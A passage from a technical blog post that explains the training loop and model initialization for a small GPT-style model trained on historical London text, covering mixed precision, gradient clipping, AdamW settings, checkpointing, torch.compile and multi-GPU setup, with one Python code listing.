&lt;p&gt;The forward pass uses mixed precision training with &lt;strong&gt;&lt;code&gt;torch.amp.autocast&lt;/code&gt;&lt;/strong&gt; and bf16/fp16 data types, reducing memory usage by ~50% while maintaining training stability. Cross-entropy loss is computed by comparing the model&amp;rsquo;s predicted probabilities with the actual next tokens in the training data; it measures how &amp;ldquo;wrong&amp;rdquo; the model&amp;rsquo;s predictions are. The loss function handles variable sequence lengths by appropriately padding sequences. The mixed precision approach is particularly important for our historical text corpus, which contains long sequences that would otherwise exceed GPU memory limits.&lt;/p&gt;
&lt;h4 id=&#34;416-backward-pass&#34;&gt;4.1.6 Backward Pass&lt;/h4&gt;
&lt;p&gt;After the forward pass tells us how wrong the model is (via the loss), the backward pass figures out how to fix it. Using &lt;strong&gt;&lt;code&gt;loss.backward()&lt;/code&gt;&lt;/strong&gt;, PyTorch computes gradients for every parameter in the model - these gradients tell us the direction and magnitude of changes needed to reduce the loss. It&amp;rsquo;s like having a GPS telling you which way to move and how far, but for 117 million (SLM) or 354 million (Regular) parameters simultaneously.&lt;/p&gt;
&lt;p&gt;The system applies gradient clipping with &lt;strong&gt;&lt;code&gt;torch.nn.utils.clip_grad_norm_&lt;/code&gt;&lt;/strong&gt; using a maximum norm of 1.0. Sometimes gradients can become extremely large, especially when processing complex or unusual historical text patterns. Without clipping, these huge gradients would cause the model parameters to jump wildly, potentially making the model unstable or causing it to &amp;ldquo;forget&amp;rdquo; what it learned. Clipping acts like a safety valve, limiting the maximum size of parameter updates to keep training stable. Put simply, gradient clipping caps the overall (global) gradient norm at a threshold; if it exceeds the limit, gradients are rescaled so the update stays bounded. In our early runs, omitting clipping occasionally produced NaN losses; keeping &lt;code&gt;max_norm=1.0&lt;/code&gt; eliminated those spikes.&lt;/p&gt;
&lt;p&gt;After computing gradients, the system updates the model weights using the &lt;strong&gt;&lt;code&gt;AdamW&lt;/code&gt;&lt;/strong&gt; optimizer, which applies the gradients with momentum and adaptive learning rates for each parameter. The optimizer decouples weight decay (a regularization technique to prevent overfitting) from gradient updates, improving generalization. Finally, gradients are zeroed with &lt;strong&gt;&lt;code&gt;optimizer.zero_grad(set_to_none=True)&lt;/code&gt;&lt;/strong&gt; - this clears the gradient buffers before the next iteration, preventing them from accumulating across batches. The &lt;code&gt;set_to_none=True&lt;/code&gt; option releases memory immediately rather than waiting for GC, improving memory efficiency.&lt;/p&gt;
&lt;h4 id=&#34;417-checkpointing&#34;&gt;4.1.7 Checkpointing&lt;/h4&gt;
&lt;p&gt;Checkpointing saves model state, optimizer state, iteration number, and best validation loss whenever validation performance improves, rather than at every evaluation. This selective saving strategy provides multiple benefits: it conserves disk space (our 354M-parameter model checkpoints are ~1.4GB each), reduces I/O overhead that can slow down training, and improves overall training time by 5-10% by eliminating redundant disk writes. The system maintains only the last 5 checkpoints (as configured in &lt;code&gt;config.py&lt;/code&gt;), with PyTorch&amp;rsquo;s &lt;code&gt;torch.save()&lt;/code&gt; using compression to ensure efficient storage while preserving all necessary training state for resuming. We&amp;rsquo;ll dive deeper into checkpointing strategies and implementation details in Section 6.&lt;/p&gt;
&lt;p&gt;The training loop implements standard optimization practices, including dynamic learning rate scheduling, regular evaluation and checkpointing, and comprehensive logging to WandB (as detailed in Section 5). The system automatically saves checkpoints when validation loss improves, ensuring that the best model is always preserved. The learning rate schedule uses cosine decay with warmup, which is standard practice for transformer training.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;📁 Full Implementation&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SLM: &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon/blob/main/04_training/train_model_slm.py&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;code&gt;04_training/train_model_slm.py&lt;/code&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Regular Model: &lt;a
	
		href = &#34;https://github.com/bahree/helloLondon/blob/main/04_training/train_model.py&#34;
	

	

	
		target = &#34;_blank&#34;
		rel = &#34;nofollow noopener noreferrer&#34;
		&gt;
	
	&lt;span&gt;
		&lt;code&gt;04_training/train_model.py&lt;/code&gt;
	&lt;/span&gt;
&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;/blockquote&gt;
&lt;h3 id=&#34;42-model-initialization-setting-up-the-training-foundation&#34;&gt;4.2 Model Initialization: Setting Up the Training Foundation&lt;/h3&gt;
&lt;p&gt;Before the training loop can begin, the system must properly initialize the model, optimizer, and training infrastructure. The &lt;strong&gt;&lt;code&gt;init_model()&lt;/code&gt;&lt;/strong&gt; method handles this setup, ensuring everything is configured correctly for efficient training.&lt;/p&gt;
&lt;h4 id=&#34;421-model-configuration-and-creation&#34;&gt;4.2.1 Model Configuration and Creation&lt;/h4&gt;
&lt;p&gt;The initialization process starts by loading metadata from the tokenized data to ensure the model architecture matches the training data. The system reads vocabulary size, block size, and other parameters from the &lt;code&gt;meta.pkl&lt;/code&gt; file created during data preparation, ensuring consistency between the model and the data it will be trained on.&lt;/p&gt;
&lt;p&gt;The model configuration is built from the SLM parameters defined in &lt;code&gt;config.py&lt;/code&gt;, including the number of layers (12), attention heads (12), embedding dimensions (768), and other architectural choices. This configuration is then used to create the &lt;code&gt;SimpleGPT&lt;/code&gt; model instance, which inherits from PyTorch&amp;rsquo;s &lt;code&gt;nn.Module&lt;/code&gt; and provides all the functionality we discussed in the architecture section.&lt;/p&gt;
&lt;h4 id=&#34;422-optimizer-setup-and-configuration&#34;&gt;4.2.2 Optimizer Setup and Configuration:&lt;/h4&gt;
&lt;p&gt;The optimizer is the algorithm that actually updates the model&amp;rsquo;s parameters (weights and biases) during training. After the backward pass computes gradients (which tell us how to adjust each parameter), the optimizer applies those gradients to update the parameters and improve the model.&lt;/p&gt;
&lt;p&gt;The system uses &lt;strong&gt;AdamW&lt;/strong&gt; (Adam with Weight Decay), which is a popular optimizer for training transformers. AdamW combines the best of two approaches: Adam (which adapts the learning rate for each parameter individually, helping with convergence) and weight decay (a form of regularization that prevents overfitting by discouraging large parameter values).&lt;/p&gt;
&lt;p&gt;However, not all parameters should be regularized the same way. The optimizer splits parameters into two groups for different weight decay:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2D parameters&lt;/strong&gt; (weight matrices): These are the main &amp;ldquo;learnable&amp;rdquo; parts of the model - the connections between neurons in different layers. These receive weight decay (value 0.1) to prevent them from growing too large, which helps prevent overfitting.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;1D parameters&lt;/strong&gt; (biases): These are additive constants that help shift the model&amp;rsquo;s predictions. They don&amp;rsquo;t receive weight decay (value 0.0) because regularizing biases doesn&amp;rsquo;t help with overfitting and can actually hurt performance.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This two-group approach follows standard practices for transformer training and ensures the model generalizes well to unseen historical text.&lt;/p&gt;
&lt;p&gt;Modern PyTorch supports &amp;ldquo;fused&amp;rdquo; optimizer operations, which combine multiple steps into a single, faster GPU kernel. Instead of executing separate operations (unscale gradients, update parameters, update optimizer state), fused AdamW performs all three in a single optimized GPU operation. This can provide 10-20% speedup on modern GPUs. The system automatically detects whether your PyTorch version supports fused operations and uses them when available, falling back to the standard implementation otherwise.&lt;/p&gt;
&lt;p&gt;Concretely, we use AdamW with the following settings for this project: &lt;code&gt;betas=(0.9, 0.95)&lt;/code&gt;, &lt;code&gt;weight_decay=0.1&lt;/code&gt;, and the learning rate provided by the scheduler (warmup + cosine decay). The AdamW &lt;code&gt;eps&lt;/code&gt; parameter is left at the PyTorch default unless you change it in code. When available, the fused AdamW kernel is enabled automatically. See &lt;a href=&#34;#listing11&#34; class=&#34;listing-ref&#34;&gt;Listing 11&lt;/a&gt; for the exact call in &lt;code&gt;init_model()&lt;/code&gt;.&lt;/p&gt;
&lt;h4 id=&#34;423-model-compilation-and-multi-gpu-setup&#34;&gt;4.2.3 Model Compilation and Multi-GPU Setup&lt;/h4&gt;
&lt;p&gt;Model compilation with PyTorch&amp;rsquo;s &lt;strong&gt;&lt;code&gt;torch.compile&lt;/code&gt;&lt;/strong&gt; is similar to traditional code compilation, but with important differences. When you compile Python code (like using &lt;code&gt;gcc&lt;/code&gt; for C), the compiler transforms the source code into optimized machine code once, which then runs faster. Similarly, &lt;code&gt;torch.compile&lt;/code&gt; takes your model&amp;rsquo;s computation graph and optimizes it, but it does this &lt;strong&gt;at runtime&lt;/strong&gt; rather than ahead of time.&lt;/p&gt;
&lt;p&gt;The compilation process analyzes your model&amp;rsquo;s operations (matrix multiplications, attention layers, etc.) and generates optimized kernels tuned to your hardware. This includes &lt;strong&gt;operator fusion&lt;/strong&gt; (combining multiple operations into single GPU kernels), &lt;strong&gt;memory layout optimization&lt;/strong&gt; (arranging data for better cache usage), and &lt;strong&gt;kernel selection&lt;/strong&gt; (choosing the fastest implementation for your specific GPU). The result is often 1.2-1.5x speedier training, but with an initial &amp;ldquo;warmup&amp;rdquo; cost: the first few forward/backward passes are slower while PyTorch analyzes the model and generates optimized code.&lt;/p&gt;
&lt;p&gt;This differs from traditional compilation because the optimization happens dynamically based on actual input shapes and hardware capabilities, rather than being pre-computed. It&amp;rsquo;s more like a JIT compiler that specializes your model&amp;rsquo;s operations for the exact conditions it encounters during training.&lt;/p&gt;
&lt;p&gt;For multi-GPU training, the model is wrapped with &lt;code&gt;DistributedDataParallel&lt;/code&gt; (DDP), which enables parallel training across multiple GPUs. The DDP wrapper handles gradient synchronization and ensures that all GPUs work with identical model parameters throughout training.&lt;/p&gt;
&lt;figure id=&#34;listing11&#34;&gt;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#cad3f5;background-color:#24273a;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-python&#34; data-lang=&#34;python&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#c6a0f6&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#8aadf4&#34;&gt;init_model&lt;/span&gt;(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&amp;#34;&amp;#34;Initialize the model&amp;#34;&amp;#34;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Initializing model...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Load metadata from tokenized data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    meta_path &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;data_dir &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;/&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;meta.pkl&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    meta_vocab_size &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#f5a97f&#34;&gt;None&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; meta_path&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;exists():
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#c6a0f6&#34;&gt;with&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;open&lt;/span&gt;(meta_path, &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;rb&amp;#39;&lt;/span&gt;) &lt;span style=&#34;color:#c6a0f6&#34;&gt;as&lt;/span&gt; f:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;            meta &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; pickle&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;load(f)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        meta_vocab_size &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; meta[&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;vocab_size&amp;#39;&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Found vocab_size = &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;meta_vocab_size&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create model configuration&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    model_args &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;dict&lt;/span&gt;(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        n_layer&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_layer,        &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 12 for SLM&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        n_head&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_head,          &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 12 for SLM  &lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        n_embd&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;n_embd,          &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 768 for SLM&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        block_size&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;block_size,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 512 for SLM&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        bias&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;bias,              &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# False&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        vocab_size&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;meta_vocab_size,  &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# From tokenized data&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        dropout&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;dropout         &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# 0.1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Create and configure model&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    gptconf &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; SimpleGPTConfig(&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;**&lt;/span&gt;model_args)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; SimpleGPT(gptconf)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;to(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;device)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Initialize optimizer with proper parameter groups&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;optimizer &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;configure_optimizers(
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        weight_decay&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#f5a97f&#34;&gt;0.1&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        learning_rate&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;learning_rate,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        betas&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;(&lt;span style=&#34;color:#f5a97f&#34;&gt;0.9&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;0.95&lt;/span&gt;),
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        device_type&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;cuda&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;cuda&amp;#39;&lt;/span&gt; &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;in&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;device &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt; &lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;cpu&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    )
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Compile model for performance&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;cuda&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;is_available() &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;and&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;slm_config&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;enable_compile&amp;#34;&lt;/span&gt;, &lt;span style=&#34;color:#f5a97f&#34;&gt;True&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Compiling model...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; torch&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;compile(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;model, mode&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#39;reduce-overhead&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#6e738d;font-style:italic&#34;&gt;# Wrap with DDP for multi-GPU training&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;if&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ddp:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;model &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; DDP(&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;model, device_ids&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt;[&lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;ddp_local_rank])
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        param_count &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;module&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get_num_params()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#c6a0f6&#34;&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        param_count &lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;=&lt;/span&gt; &lt;span style=&#34;color:#91d7e3&#34;&gt;self&lt;/span&gt;&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;model&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;get_num_params()
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    logger&lt;span style=&#34;color:#91d7e3;font-weight:bold&#34;&gt;.&lt;/span&gt;info(&lt;span style=&#34;color:#ed8796&#34;&gt;f&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;&amp;#34;Model initialized with &lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;{&lt;/span&gt;param_count&lt;span style=&#34;color:#a6da95&#34;&gt;:&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;,&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#a6da95&#34;&gt; parameters&amp;#34;&lt;/span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;figcaption&gt;
        &lt;strong&gt;Listing 11: Model Initialization Process&lt;/strong&gt;
    &lt;/figcaption&gt;
&lt;/figure&gt;
&lt;p&gt;While our model is a relatively simple toy example focused on a single domain (historical London text), proper initialization remains important to avoid common training issues. The vocabulary size must match our custom historical tokenizer, the sequence length needs to work with our tokenized data, and the model architecture should be appropriate for the text patterns we&amp;rsquo;re learning.&lt;/p&gt;
&lt;p&gt;The initialization process ensures these basic requirements are met before training begins, preventing issues such as vocabulary mismatches or memory allocation problems that could lead to training failures. This careful setup was helpful during our development process, where we ran nearly 100 training experiments. Proper initialization helped us avoid some basic configuration errors and focus on the actual training challenges.&lt;/p&gt;
